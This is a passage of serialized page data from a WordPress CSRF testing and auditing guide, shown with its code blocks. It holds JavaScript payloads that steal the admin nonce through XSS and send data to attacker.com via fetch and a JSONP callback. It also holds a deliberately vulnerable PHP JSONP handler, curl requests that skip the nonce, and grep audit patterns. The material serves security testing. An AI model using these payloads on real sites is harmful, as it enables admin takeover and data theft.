",[36,25257,23830],{"class":53},[36,25259,23833],{"class":605},[36,25261,25262,25265,25267],{"class":38,"line":6676},[36,25263,25264],{"class":605},"        credentials: ",[36,25266,23841],{"class":53},[36,25268,23833],{"class":605},[36,25270,25271],{"class":38,"line":6686},[36,25272,25273],{"class":605},"        body: body,\n",[36,25275,25276],{"class":38,"line":6691},[36,25277,19299],{"class":605},[36,25279,25280],{"class":38,"line":6697},[36,25281,16191],{"class":605},[36,25283,25284],{"class":38,"line":6721},[36,25285,25286],{"class":42},"    \u002F\u002F Step 4: Exfiltrate confirmation\n",[36,25288,25289,25292,25294,25296,25299,25301],{"class":38,"line":19762},[36,25290,25291],{"class":102},"    await",[36,25293,24954],{"class":49},[36,25295,18300],{"class":605},[36,25297,25298],{"class":53},"'https:\u002F\u002Fattacker.com\u002Fsuccess?status='",[36,25300,11640],{"class":102},[36,25302,25303],{"class":605}," r2.status);\n",[36,25305,25306],{"class":38,"line":19774},[36,25307,19304],{"class":605},[684,25309,25311],{"id":25310},"dom-xss-csrf-for-immediate-admin-compromise","DOM XSS + CSRF for Immediate Admin Compromise",[14,25313,25314],{},"If the XSS fires on the admin's current page, it can immediately steal the nonce from the DOM:",[26,25316,25318],{"className":19093,"code":25317,"language":19095,"meta":31,"style":31},"\u002F\u002F XSS runs on \u002Fwp-admin\u002Foptions-general.php?page=target-plugin\n\u002F\u002F Steal nonce already in the DOM\nconst nonce = document.querySelector('[name=\"_wpnonce\"]').value;\nconst formData = new FormData();\nformData.append('action', 'save_settings');\nformData.append('_wpnonce', nonce);\nformData.append('malicious_setting', 'evil_value');\nfetch(ajaxurl, {method: 'POST', credentials: 'include', body: formData});\n",[33,25319,25320,25325,25330,25353,25369,25389,25403,25421],{"__ignoreMap":31},[36,25321,25322],{"class":38,"line":39},[36,25323,25324],{"class":42},"\u002F\u002F XSS runs on \u002Fwp-admin\u002Foptions-general.php?page=target-plugin\n",[36,25326,25327],{"class":38,"line":46},[36,25328,25329],{"class":42},"\u002F\u002F Steal nonce already in the DOM\n",[36,25331,25332,25335,25337,25339,25342,25345,25347,25350],{"class":38,"line":57},[36,25333,25334],{"class":102},"const",[36,25336,25064],{"class":95},[36,25338,24948],{"class":102},[36,25340,25341],{"class":605}," document.",[36,25343,25344],{"class":49},"querySelector",[36,25346,18300],{"class":605},[36,25348,25349],{"class":53},"'[name=\"_wpnonce\"]'",[36,25351,25352],{"class":605},").value;\n",[36,25354,25355,25357,25360,25362,25364,25367],{"class":38,"line":64},[36,25356,25334],{"class":102},[36,25358,25359],{"class":95}," formData",[36,25361,24948],{"class":102},[36,25363,24059],{"class":102},[36,25365,25366],{"class":49}," FormData",[36,25368,24065],{"class":605},[36,25370,25371,25374,25377,25379,25382,25384,25387],{"class":38,"line":70},[36,25372,25373],{"class":605},"formData.",[36,25375,25376],{"class":49},"append",[36,25378,18300],{"class":605},[36,25380,25381],{"class":53},"'action'",[36,25383,13002],{"class":605},[36,25385,25386],{"class":53},"'save_settings'",[36,25388,9831],{"class":605},[36,25390,25391,25393,25395,25397,25400],{"class":38,"line":78},[36,25392,25373],{"class":605},[36,25394,25376],{"class":49},[36,25396,18300],{"class":605},[36,25398,25399],{"class":53},"'_wpnonce'",[36,25401,25402],{"class":605},", nonce);\n",[36,25404,25405,25407,25409,25411,25414,25416,25419],{"class":38,"line":83},[36,25406,25373],{"class":605},[36,25408,25376],{"class":49},[36,25410,18300],{"class":605},[36,25412,25413],{"class":53},"'malicious_setting'",[36,25415,13002],{"class":605},[36,25417,25418],{"class":53},"'evil_value'",[36,25420,9831],{"class":605},[36,25422,25423,25425,25428,25430,25433,25435],{"class":38,"line":89},[36,25424,18297],{"class":49},[36,25426,25427],{"class":605},"(ajaxurl, {method: ",[36,25429,23830],{"class":53},[36,25431,25432],{"class":605},", credentials: ",[36,25434,23841],{"class":53},[36,25436,25437],{"class":605},", body: formData});\n",[18,25439,25441],{"id":25440},"testing-csrf-vulnerabilities","Testing CSRF Vulnerabilities",[684,25443,25445],{"id":25444},"manual-testing-checklist","Manual Testing Checklist",[26,25447,25449],{"className":28,"code":25448,"language":30,"meta":31,"style":31},"TARGET=\"https:\u002F\u002Ftarget.example.com\"\n\n# 1. Identify all state-changing actions (POST endpoints)\ngrep -rn \"admin_post_\\|wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F \\\n  --include=\"*.php\" | grep \"add_action\"\n\n# 2. For each action, check if nonce verification exists\ngrep -rn \"check_ajax_referer\\|wp_verify_nonce\\|check_admin_referer\" \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\u002F --include=\"*.php\"\n\n# 3. Test: submit without nonce\ncurl -s -b \u002Ftmp\u002Fadmin_cookies.txt -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  -d 'action=plugin_save_settings&setting=value'\n# If succeeds without nonce -> CSRF vulnerable\n\n# 4. Test: submit with invalid nonce\ncurl -s -b \u002Ftmp\u002Fadmin_cookies.txt -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n  -d 'action=plugin_save_settings&setting=value&nonce=invalid_nonce_value'\n# If succeeds with invalid nonce -> nonce check bypassed\n\n# 5. Test admin_post_ actions\ncurl -s -b \u002Ftmp\u002Fadmin_cookies.txt -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-post.php\" \\\n  -d 'action=plugin_action&setting=value'\n",[33,25450,25451,25459,25463,25468,25481,25493,25497,25502,25512,25520,25524,25529,25551,25558,25563,25567,25572,25594,25601,25606,25610,25615,25638],{"__ignoreMap":31},[36,25452,25453,25455,25457],{"class":38,"line":39},[36,25454,1886],{"class":605},[36,25456,1220],{"class":102},[36,25458,1891],{"class":53},[36,25460,25461],{"class":38,"line":46},[36,25462,61],{"emptyLinePlaceholder":60},[36,25464,25465],{"class":38,"line":57},[36,25466,25467],{"class":42},"# 1. Identify all state-changing actions (POST endpoints)\n",[36,25469,25470,25472,25474,25477,25479],{"class":38,"line":64},[36,25471,490],{"class":49},[36,25473,493],{"class":95},[36,25475,25476],{"class":53}," \"admin_post_\\|wp_ajax_\"",[36,25478,20842],{"class":53},[36,25480,155],{"class":95},[36,25482,25483,25485,25487,25489,25491],{"class":38,"line":70},[36,25484,586],{"class":95},[36,25486,540],{"class":53},[36,25488,103],{"class":102},[36,25490,617],{"class":49},[36,25492,4185],{"class":53},[36,25494,25495],{"class":38,"line":78},[36,25496,61],{"emptyLinePlaceholder":60},[36,25498,25499],{"class":38,"line":83},[36,25500,25501],{"class":42},"# 2. For each action, check if nonce verification exists\n",[36,25503,25504,25506,25508,25510],{"class":38,"line":89},[36,25505,490],{"class":49},[36,25507,493],{"class":95},[36,25509,22159],{"class":53},[36,25511,155],{"class":95},[36,25513,25514,25516,25518],{"class":38,"line":115},[36,25515,20731],{"class":53},[36,25517,502],{"class":95},[36,25519,505],{"class":53},[36,25521,25522],{"class":38,"line":133},[36,25523,61],{"emptyLinePlaceholder":60},[36,25525,25526],{"class":38,"line":138},[36,25527,25528],{"class":42},"# 3. Test: submit without nonce\n",[36,25530,25531,25533,25535,25537,25539,25541,25543,25545,25547,25549],{"class":38,"line":144},[36,25532,92],{"class":49},[36,25534,96],{"class":95},[36,25536,709],{"class":95},[36,25538,20029],{"class":53},[36,25540,792],{"class":95},[36,25542,795],{"class":53},[36,25544,625],{"class":53},[36,25546,1911],{"class":605},[36,25548,4404],{"class":53},[36,25550,155],{"class":95},[36,25552,25553,25555],{"class":38,"line":158},[36,25554,818],{"class":95},[36,25556,25557],{"class":53}," 'action=plugin_save_settings&setting=value'\n",[36,25559,25560],{"class":38,"line":255},[36,25561,25562],{"class":42},"# If succeeds without nonce -> CSRF vulnerable\n",[36,25564,25565],{"class":38,"line":261},[36,25566,61],{"emptyLinePlaceholder":60},[36,25568,25569],{"class":38,"line":267},[36,25570,25571],{"class":42},"# 4. Test: submit with invalid nonce\n",[36,25573,25574,25576,25578,25580,25582,25584,25586,25588,25590,25592],{"class":38,"line":273},[36,25575,92],{"class":49},[36,25577,96],{"class":95},[36,25579,709],{"class":95},[36,25581,20029],{"class":53},[36,25583,792],{"class":95},[36,25585,795],{"class":53},[36,25587,625],{"class":53},[36,25589,1911],{"class":605},[36,25591,4404],{"class":53},[36,25593,155],{"class":95},[36,25595,25596,25598],{"class":38,"line":279},[36,25597,818],{"class":95},[36,25599,25600],{"class":53}," 'action=plugin_save_settings&setting=value&nonce=invalid_nonce_value'\n",[36,25602,25603],{"class":38,"line":285},[36,25604,25605],{"class":42},"# If succeeds with invalid nonce -> nonce check bypassed\n",[36,25607,25608],{"class":38,"line":291},[36,25609,61],{"emptyLinePlaceholder":60},[36,25611,25612],{"class":38,"line":297},[36,25613,25614],{"class":42},"# 5. Test admin_post_ actions\n",[36,25616,25617,25619,25621,25623,25625,25627,25629,25631,25633,25636],{"class":38,"line":303},[36,25618,92],{"class":49},[36,25620,96],{"class":95},[36,25622,709],{"class":95},[36,25624,20029],{"class":53},[36,25626,792],{"class":95},[36,25628,795],{"class":53},[36,25630,625],{"class":53},[36,25632,1911],{"class":605},[36,25634,25635],{"class":53},"\u002Fwp-admin\u002Fadmin-post.php\"",[36,25637,155],{"class":95},[36,25639,25640,25642],{"class":38,"line":308},[36,25641,818],{"class":95},[36,25643,25644],{"class":53}," 'action=plugin_action&setting=value'\n",[684,25646,25648],{"id":25647},"automated-csrf-detection","Automated CSRF Detection",[26,25650,25652],{"className":28,"code":25651,"language":30,"meta":31,"style":31},"#!\u002Fbin\u002Fbash\n# Test all AJAX actions for CSRF (no nonce check)\nTARGET=\"https:\u002F\u002Ftarget.example.com\"\nCOOKIES=\"\u002Ftmp\u002Fadmin_cookies.txt\"\nPLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# Extract all action names\nACTIONS=$(grep -rP \"wp_ajax_\\K[^'\\\"]*\" \"$PLUGIN_DIR\" --include=\"*.php\" -oh | sort -u)\n\nfor action in $ACTIONS; do\n    echo -n \"Testing CSRF on action '$action': \"\n    \n    # Attempt without any nonce\n    RESPONSE=$(curl -s -b \"$COOKIES\" -X POST \"$TARGET\u002Fwp-admin\u002Fadmin-ajax.php\" \\\n      -d \"action=$action\" 2>\u002Fdev\u002Fnull)\n    \n    # Check if action ran (not -1, not nonce error)\n    if echo \"$RESPONSE\" | grep -q '\"success\"'; then\n        echo \"VULNERABLE - action ran without nonce\"\n        echo \"  Response: $(echo \"$RESPONSE\" | head -c 100)\"\n    elif echo \"$RESPONSE\" | grep -q '\"data\":\".*nonce\\|security\"'; then\n        echo \"Protected - nonce error returned\"\n    else\n        echo \"Unknown: $RESPONSE\" | head -c 80\n    fi\ndone\n",[33,25653,25654,25658,25663,25671,25681,25689,25693,25698,25737,25741,25753,25767,25771,25776,25809,25825,25829,25834,25859,25866,25892,25918,25925,25930,25950,25954],{"__ignoreMap":31},[36,25655,25656],{"class":38,"line":39},[36,25657,4257],{"class":42},[36,25659,25660],{"class":38,"line":46},[36,25661,25662],{"class":42},"# Test all AJAX actions for CSRF (no nonce check)\n",[36,25664,25665,25667,25669],{"class":38,"line":57},[36,25666,1886],{"class":605},[36,25668,1220],{"class":102},[36,25670,1891],{"class":53},[36,25672,25673,25676,25678],{"class":38,"line":64},[36,25674,25675],{"class":605},"COOKIES",[36,25677,1220],{"class":102},[36,25679,25680],{"class":53},"\"\u002Ftmp\u002Fadmin_cookies.txt\"\n",[36,25682,25683,25685,25687],{"class":38,"line":70},[36,25684,2415],{"class":605},[36,25686,1220],{"class":102},[36,25688,2420],{"class":53},[36,25690,25691],{"class":38,"line":78},[36,25692,61],{"emptyLinePlaceholder":60},[36,25694,25695],{"class":38,"line":83},[36,25696,25697],{"class":42},"# Extract all action names\n",[36,25699,25700,25702,25704,25706,25708,25710,25713,25715,25717,25719,25721,25723,25725,25727,25729,25731,25733,25735],{"class":38,"line":89},[36,25701,4288],{"class":605},[36,25703,1220],{"class":102},[36,25705,1358],{"class":605},[36,25707,490],{"class":49},[36,25709,574],{"class":95},[36,25711,25712],{"class":53}," \"wp_ajax_\\K[^'",[36,25714,1498],{"class":95},[36,25716,4308],{"class":53},[36,25718,625],{"class":53},[36,25720,2442],{"class":605},[36,25722,631],{"class":53},[36,25724,502],{"class":95},[36,25726,540],{"class":53},[36,25728,4325],{"class":95},[36,25730,103],{"class":102},[36,25732,4330],{"class":49},[36,25734,467],{"class":95},[36,25736,1385],{"class":605},[36,25738,25739],{"class":38,"line":115},[36,25740,61],{"emptyLinePlaceholder":60},[36,25742,25743,25745,25747,25749,25751],{"class":38,"line":133},[36,25744,1325],{"class":102},[36,25746,4352],{"class":605},[36,25748,1331],{"class":102},[36,25750,4357],{"class":605},[36,25752,609],{"class":102},[36,25754,25755,25757,25759,25762,25764],{"class":38,"line":138},[36,25756,2130],{"class":95},[36,25758,1229],{"class":95},[36,25760,25761],{"class":53}," \"Testing CSRF on action '",[36,25763,2797],{"class":605},[36,25765,25766],{"class":53},"': \"\n",[36,25768,25769],{"class":38,"line":144},[36,25770,16191],{"class":605},[36,25772,25773],{"class":38,"line":158},[36,25774,25775],{"class":42},"    # Attempt without any nonce\n",[36,25777,25778,25780,25782,25784,25786,25788,25790,25792,25795,25797,25799,25801,25803,25805,25807],{"class":38,"line":255},[36,25779,1353],{"class":605},[36,25781,1220],{"class":102},[36,25783,1358],{"class":605},[36,25785,92],{"class":49},[36,25787,96],{"class":95},[36,25789,709],{"class":95},[36,25791,625],{"class":53},[36,25793,25794],{"class":605},"$COOKIES",[36,25796,631],{"class":53},[36,25798,792],{"class":95},[36,25800,795],{"class":53},[36,25802,625],{"class":53},[36,25804,1911],{"class":605},[36,25806,4404],{"class":53},[36,25808,155],{"class":95},[36,25810,25811,25813,25815,25817,25819,25821,25823],{"class":38,"line":261},[36,25812,4411],{"class":95},[36,25814,4414],{"class":53},[36,25816,2797],{"class":605},[36,25818,631],{"class":53},[36,25820,22331],{"class":102},[36,25822,22334],{"class":53},[36,25824,1385],{"class":605},[36,25826,25827],{"class":38,"line":267},[36,25828,16191],{"class":605},[36,25830,25831],{"class":38,"line":273},[36,25832,25833],{"class":42},"    # Check if action ran (not -1, not nonce error)\n",[36,25835,25836,25838,25840,25842,25844,25846,25848,25850,25852,25855,25857],{"class":38,"line":279},[36,25837,614],{"class":102},[36,25839,1392],{"class":95},[36,25841,625],{"class":53},[36,25843,1397],{"class":605},[36,25845,631],{"class":53},[36,25847,103],{"class":102},[36,25849,617],{"class":49},[36,25851,620],{"class":95},[36,25853,25854],{"class":53}," '\"success\"'",[36,25856,606],{"class":605},[36,25858,655],{"class":102},[36,25860,25861,25863],{"class":38,"line":285},[36,25862,660],{"class":95},[36,25864,25865],{"class":53}," \"VULNERABLE - action ran without nonce\"\n",[36,25867,25868,25870,25873,25875,25877,25879,25882,25884,25886,25888,25890],{"class":38,"line":291},[36,25869,660],{"class":95},[36,25871,25872],{"class":53}," \"  Response: $(",[36,25874,1226],{"class":95},[36,25876,625],{"class":53},[36,25878,1397],{"class":605},[36,25880,25881],{"class":53},"\" ",[36,25883,1235],{"class":102},[36,25885,5296],{"class":49},[36,25887,164],{"class":95},[36,25889,1343],{"class":95},[36,25891,1241],{"class":53},[36,25893,25894,25897,25899,25901,25903,25905,25907,25909,25911,25914,25916],{"class":38,"line":297},[36,25895,25896],{"class":102},"    elif",[36,25898,1392],{"class":95},[36,25900,625],{"class":53},[36,25902,1397],{"class":605},[36,25904,631],{"class":53},[36,25906,103],{"class":102},[36,25908,617],{"class":49},[36,25910,620],{"class":95},[36,25912,25913],{"class":53}," '\"data\":\".*nonce\\|security\"'",[36,25915,606],{"class":605},[36,25917,655],{"class":102},[36,25919,25920,25922],{"class":38,"line":303},[36,25921,660],{"class":95},[36,25923,25924],{"class":53}," \"Protected - nonce error returned\"\n",[36,25926,25927],{"class":38,"line":308},[36,25928,25929],{"class":102},"    else\n",[36,25931,25932,25934,25937,25939,25941,25943,25945,25947],{"class":38,"line":314},[36,25933,660],{"class":95},[36,25935,25936],{"class":53}," \"Unknown: ",[36,25938,1397],{"class":605},[36,25940,631],{"class":53},[36,25942,103],{"class":102},[36,25944,5296],{"class":49},[36,25946,164],{"class":95},[36,25948,25949],{"class":95}," 80\n",[36,25951,25952],{"class":38,"line":320},[36,25953,673],{"class":102},[36,25955,25956],{"class":38,"line":326},[36,25957,678],{"class":102},[18,25959,25961],{"id":25960},"csrf-via-file-inclusion-jsonp-endpoints","CSRF Via File Inclusion (JSONP Endpoints)",[14,25963,25964],{},"Older plugins sometimes expose JSONP endpoints, which bypass SameSite restrictions:",[26,25966,25968],{"className":177,"code":25967,"language":179,"meta":31,"style":31},"\u002F\u002F VULNERABLE: JSONP callback with side effects\nadd_action( 'wp_ajax_nopriv_get_data', function() {\n    $callback = $_GET['callback']; \u002F\u002F JSONP callback name\n    $data     = get_option('sensitive_data');\n    echo $callback . '(' . json_encode($data) . ');';\n    wp_die();\n});\n",[33,25969,25970,25975,25980,25985,25990,25995,25999],{"__ignoreMap":31},[36,25971,25972],{"class":38,"line":39},[36,25973,25974],{},"\u002F\u002F VULNERABLE: JSONP callback with side effects\n",[36,25976,25977],{"class":38,"line":46},[36,25978,25979],{},"add_action( 'wp_ajax_nopriv_get_data', function() {\n",[36,25981,25982],{"class":38,"line":57},[36,25983,25984],{},"    $callback = $_GET['callback']; \u002F\u002F JSONP callback name\n",[36,25986,25987],{"class":38,"line":64},[36,25988,25989],{},"    $data     = get_option('sensitive_data');\n",[36,25991,25992],{"class":38,"line":70},[36,25993,25994],{},"    echo $callback . '(' . json_encode($data) . ');';\n",[36,25996,25997],{"class":38,"line":78},[36,25998,2856],{},[36,26000,26001],{"class":38,"line":83},[36,26002,300],{},[26,26004,26006],{"className":7049,"code":26005,"language":7051,"meta":31,"style":31},"\u003C!-- Data exfiltration via JSONP - bypasses SameSite cookies (no cookies needed here) -->\n\u003Cscript>\nfunction leaked(data) {\n    fetch('https:\u002F\u002Fattacker.com\u002Fcollect?d=' + encodeURIComponent(JSON.stringify(data)));\n}\n\u003C\u002Fscript>\n\u003Cscript src=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php?action=get_data&callback=leaked\">\u003C\u002Fscript>\n",[33,26007,26008,26013,26021,26036,26059,26063,26071],{"__ignoreMap":31},[36,26009,26010],{"class":38,"line":39},[36,26011,26012],{"class":42},"\u003C!-- Data exfiltration via JSONP - bypasses SameSite cookies (no cookies needed here) -->\n",[36,26014,26015,26017,26019],{"class":38,"line":46},[36,26016,7058],{"class":605},[36,26018,7062],{"class":7061},[36,26020,7065],{"class":605},[36,26022,26023,26026,26029,26031,26033],{"class":38,"line":57},[36,26024,26025],{"class":102},"function",[36,26027,26028],{"class":49}," leaked",[36,26030,18300],{"class":605},[36,26032,23913],{"class":23889},[36,26034,26035],{"class":605},") {\n",[36,26037,26038,26040,26042,26045,26047,26049,26051,26053,26055,26057],{"class":38,"line":64},[36,26039,23928],{"class":49},[36,26041,18300],{"class":605},[36,26043,26044],{"class":53},"'https:\u002F\u002Fattacker.com\u002Fcollect?d='",[36,26046,11640],{"class":102},[36,26048,23938],{"class":49},[36,26050,18300],{"class":605},[36,26052,23943],{"class":95},[36,26054,13246],{"class":605},[36,26056,23948],{"class":49},[36,26058,23951],{"class":605},[36,26060,26061],{"class":38,"line":70},[36,26062,323],{"class":605},[36,26064,26065,26067,26069],{"class":38,"line":78},[36,26066,7122],{"class":605},[36,26068,7062],{"class":7061},[36,26070,7065],{"class":605},[36,26072,26073,26075,26077,26079,26081,26084,26086,26088],{"class":38,"line":83},[36,26074,7058],{"class":605},[36,26076,7062],{"class":7061},[36,26078,24003],{"class":49},[36,26080,1220],{"class":605},[36,26082,26083],{"class":53},"\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php?action=get_data&callback=leaked\"",[36,26085,23517],{"class":605},[36,26087,7062],{"class":7061},[36,26089,7065],{"class":605},[18,26091,26093],{"id":26092},"grep-patterns-for-csrf-audit","Grep Patterns for CSRF Audit",[26,26095,26097],{"className":28,"code":26096,"language":30,"meta":31,"style":31},"PLUGIN_DIR=\"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Ftarget-plugin\"\n\n# Find all state-changing AJAX actions\necho \"=== State-changing AJAX handlers ===\"\ngrep -rn \"add_action.*wp_ajax_\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# Find admin_post_ handlers (often forgotten in CSRF audits)\necho \"=== admin_post_ handlers ===\"\ngrep -rn \"add_action.*admin_post_\" \"$PLUGIN_DIR\" --include=\"*.php\"\n\n# Find nonce-less form processing\necho \"=== Potential CSRF in form processing ===\"\ngrep -rn \"admin_post_\\|save_post\\|edit_post\" \"$PLUGIN_DIR\" --include=\"*.php\" -A15 | \\\n  grep -v \"wp_verify_nonce\\|check_admin_referer\\|check_ajax_referer\"\n\n# Find settings saves without nonce\necho \"=== Settings saves ===\"\ngrep -rn \"update_option\\|update_site_option\" \"$PLUGIN_DIR\" --include=\"*.php\" -B10 | \\\n  grep -B10 \"update_option\" | grep -v \"nonce\\|referer\\|check_ajax\"\n\n# JSONP endpoints (data exfiltration via CSRF)\necho \"=== JSONP endpoints ===\"\ngrep -rn \"callback.*json\\|jsonp\\|\\\\\\$_GET.*callback\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Find actions accessible via GET (should only be POST for state changes)\necho \"=== GET-based state changes ===\"\ngrep -rn \"add_action.*init\\|add_action.*wp_loaded\" \"$PLUGIN_DIR\" --include=\"*.php\" -A10 | \\\n  grep -A5 \"\\$_GET\" | grep \"update_option\\|wp_insert\\|wp_update\\|wp_delete\"\n",[33,26098,26099,26107,26111,26116,26123,26141,26145,26150,26157,26176,26180,26185,26192,26217,26226,26230,26235,26242,26267,26285,26289,26294,26301,26327,26331,26336,26343,26368],{"__ignoreMap":31},[36,26100,26101,26103,26105],{"class":38,"line":39},[36,26102,2415],{"class":605},[36,26104,1220],{"class":102},[36,26106,2420],{"class":53},[36,26108,26109],{"class":38,"line":46},[36,26110,61],{"emptyLinePlaceholder":60},[36,26112,26113],{"class":38,"line":57},[36,26114,26115],{"class":42},"# Find all state-changing AJAX actions\n",[36,26117,26118,26120],{"class":38,"line":64},[36,26119,1226],{"class":95},[36,26121,26122],{"class":53}," \"=== State-changing AJAX handlers ===\"\n",[36,26124,26125,26127,26129,26131,26133,26135,26137,26139],{"class":38,"line":70},[36,26126,490],{"class":49},[36,26128,493],{"class":95},[36,26130,4201],{"class":53},[36,26132,625],{"class":53},[36,26134,2442],{"class":605},[36,26136,631],{"class":53},[36,26138,502],{"class":95},[36,26140,505],{"class":53},[36,26142,26143],{"class":38,"line":78},[36,26144,61],{"emptyLinePlaceholder":60},[36,26146,26147],{"class":38,"line":83},[36,26148,26149],{"class":42},"# Find admin_post_ handlers (often forgotten in CSRF audits)\n",[36,26151,26152,26154],{"class":38,"line":89},[36,26153,1226],{"class":95},[36,26155,26156],{"class":53}," \"=== admin_post_ handlers ===\"\n",[36,26158,26159,26161,26163,26166,26168,26170,26172,26174],{"class":38,"line":115},[36,26160,490],{"class":49},[36,26162,493],{"class":95},[36,26164,26165],{"class":53}," \"add_action.*admin_post_\"",[36,26167,625],{"class":53},[36,26169,2442],{"class":605},[36,26171,631],{"class":53},[36,26173,502],{"class":95},[36,26175,505],{"class":53},[36,26177,26178],{"class":38,"line":133},[36,26179,61],{"emptyLinePlaceholder":60},[36,26181,26182],{"class":38,"line":138},[36,26183,26184],{"class":42},"# Find nonce-less form processing\n",[36,26186,26187,26189],{"class":38,"line":144},[36,26188,1226],{"class":95},[36,26190,26191],{"class":53}," \"=== Potential CSRF in form processing ===\"\n",[36,26193,26194,26196,26198,26201,26203,26205,26207,26209,26211,26213,26215],{"class":38,"line":158},[36,26195,490],{"class":49},[36,26197,493],{"class":95},[36,26199,26200],{"class":53}," \"admin_post_\\|save_post\\|edit_post\"",[36,26202,625],{"class":53},[36,26204,2442],{"class":605},[36,26206,631],{"class":53},[36,26208,502],{"class":95},[36,26210,540],{"class":53},[36,26212,14708],{"class":95},[36,26214,103],{"class":102},[36,26216,155],{"class":95},[36,26218,26219,26221,26223],{"class":38,"line":255},[36,26220,552],{"class":49},[36,26222,555],{"class":95},[36,26224,26225],{"class":53}," \"wp_verify_nonce\\|check_admin_referer\\|check_ajax_referer\"\n",[36,26227,26228],{"class":38,"line":261},[36,26229,61],{"emptyLinePlaceholder":60},[36,26231,26232],{"class":38,"line":267},[36,26233,26234],{"class":42},"# Find settings saves without nonce\n",[36,26236,26237,26239],{"class":38,"line":273},[36,26238,1226],{"class":95},[36,26240,26241],{"class":53}," \"=== Settings saves ===\"\n",[36,26243,26244,26246,26248,26251,26253,26255,26257,26259,26261,26263,26265],{"class":38,"line":279},[36,26245,490],{"class":49},[36,26247,493],{"class":95},[36,26249,26250],{"class":53}," \"update_option\\|update_site_option\"",[36,26252,625],{"class":53},[36,26254,2442],{"class":605},[36,26256,631],{"class":53},[36,26258,502],{"class":95},[36,26260,540],{"class":53},[36,26262,14719],{"class":95},[36,26264,103],{"class":102},[36,26266,155],{"class":95},[36,26268,26269,26271,26273,26276,26278,26280,26282],{"class":38,"line":285},[36,26270,552],{"class":49},[36,26272,14719],{"class":95},[36,26274,26275],{"class":53}," \"update_option\"",[36,26277,103],{"class":102},[36,26279,617],{"class":49},[36,26281,555],{"class":95},[36,26283,26284],{"class":53}," \"nonce\\|referer\\|check_ajax\"\n",[36,26286,26287],{"class":38,"line":291},[36,26288,61],{"emptyLinePlaceholder":60},[36,26290,26291],{"class":38,"line":297},[36,26292,26293],{"class":42},"# JSONP endpoints (data exfiltration via CSRF)\n",[36,26295,26296,26298],{"class":38,"line":303},[36,26297,1226],{"class":95},[36,26299,26300],{"class":53}," \"=== JSONP endpoints ===\"\n",[36,26302,26303,26305,26307,26310,26312,26315,26317,26319,26321,26323,26325],{"class":38,"line":308},[36,26304,490],{"class":49},[36,26306,493],{"class":95},[36,26308,26309],{"class":53}," \"callback.*json\\|jsonp\\|",[36,26311,19410],{"class":95},[36,26313,26314],{"class":53},"_GET.*callback\"",[36,26316,625],{"class":53},[36,26318,2442],{"class":605},[36,26320,631],{"class":53},[36,26322,502],{"class":95},[36,26324,540],{"class":53},[36,26326,2906],{"class":95},[36,26328,26329],{"class":38,"line":314},[36,26330,61],{"emptyLinePlaceholder":60},[36,26332,26333],{"class":38,"line":320},[36,26334,26335],{"class":42},"# Find actions accessible via GET (should only be POST for state changes)\n",[36,26337,26338,26340],{"class":38,"line":326},[36,26339,1226],{"class":95},[36,26341,26342],{"class":53}," \"=== GET-based state changes ===\"\n",[36,26344,26345,26347,26349,26352,26354,26356,26358,26360,26362,26364,26366],{"class":38,"line":331},[36,26346,490],{"class":49},[36,26348,493],{"class":95},[36,26350,26351],{"class":53}," \"add_action.*init\\|add_action.*wp_loaded\"",[36,26353,625],{"class":53},[36,26355,2442],{"class":605},[36,26357,631],{"class":53},[36,26359,502],{"class":95},[36,26361,540],{"class":53},[36,26363,543],{"class":95},[36,26365,103],{"class":102},[36,26367,155],{"class":95},[36,26369,26370,26372,26374,26376,26378,26381,26383,26385],{"class":38,"line":337},[36,26371,552],{"class":49},[36,26373,4659],{"class":95},[36,26375,625],{"class":53},[36,26377,4591],{"class":95},[36,26379,26380],{"class":53},"_GET\"",[36,26382,103],{"class":102},[36,26384,617],{"class":49},[36,26386,26387],{"class":53}," \"update_option\\|wp_insert\\|wp_update\\|wp_delete\"\n",[18,26389,26391],{"id":26390},"csrf-defense-verification","CSRF Defense Verification",[26,26393,26395],{"className":28,"code":26394,"language":30,"meta":31,"style":31},"# Verify nonce is correctly implemented in a handler\ngrep -A 30 \"function handler_name\" \u002Fpath\u002Fto\u002Fplugin\u002Ffile.php | \\\n  grep -E \"check_ajax_referer|wp_verify_nonce|check_admin_referer\"\n\n# Verify nonce is passed correctly in forms\ngrep -rn \"wp_nonce_field\\|wp_create_nonce\" \"$PLUGIN_DIR\" --include=\"*.php\" -n\n\n# Verify nonce action strings match between creation and verification\n# (manual review: compare the action string in wp_create_nonce vs check_ajax_referer)\ngrep -rn \"wp_create_nonce\\|check_ajax_referer\\|wp_verify_nonce\" \\\n  \"$PLUGIN_DIR\" --include=\"*.php\" | sort\n",[33,26396,26397,26402,26419,26428,26432,26437,26458,26462,26467,26472,26483],{"__ignoreMap":31},[36,26398,26399],{"class":38,"line":39},[36,26400,26401],{"class":42},"# Verify nonce is correctly implemented in a handler\n",[36,26403,26404,26406,26408,26410,26413,26415,26417],{"class":38,"line":46},[36,26405,490],{"class":49},[36,26407,2508],{"class":95},[36,26409,4788],{"class":95},[36,26411,26412],{"class":53}," \"function handler_name\"",[36,26414,4794],{"class":53},[36,26416,103],{"class":102},[36,26418,155],{"class":95},[36,26420,26421,26423,26425],{"class":38,"line":57},[36,26422,552],{"class":49},[36,26424,17317],{"class":95},[36,26426,26427],{"class":53}," \"check_ajax_referer|wp_verify_nonce|check_admin_referer\"\n",[36,26429,26430],{"class":38,"line":64},[36,26431,61],{"emptyLinePlaceholder":60},[36,26433,26434],{"class":38,"line":70},[36,26435,26436],{"class":42},"# Verify nonce is passed correctly in forms\n",[36,26438,26439,26441,26443,26446,26448,26450,26452,26454,26456],{"class":38,"line":78},[36,26440,490],{"class":49},[36,26442,493],{"class":95},[36,26444,26445],{"class":53}," 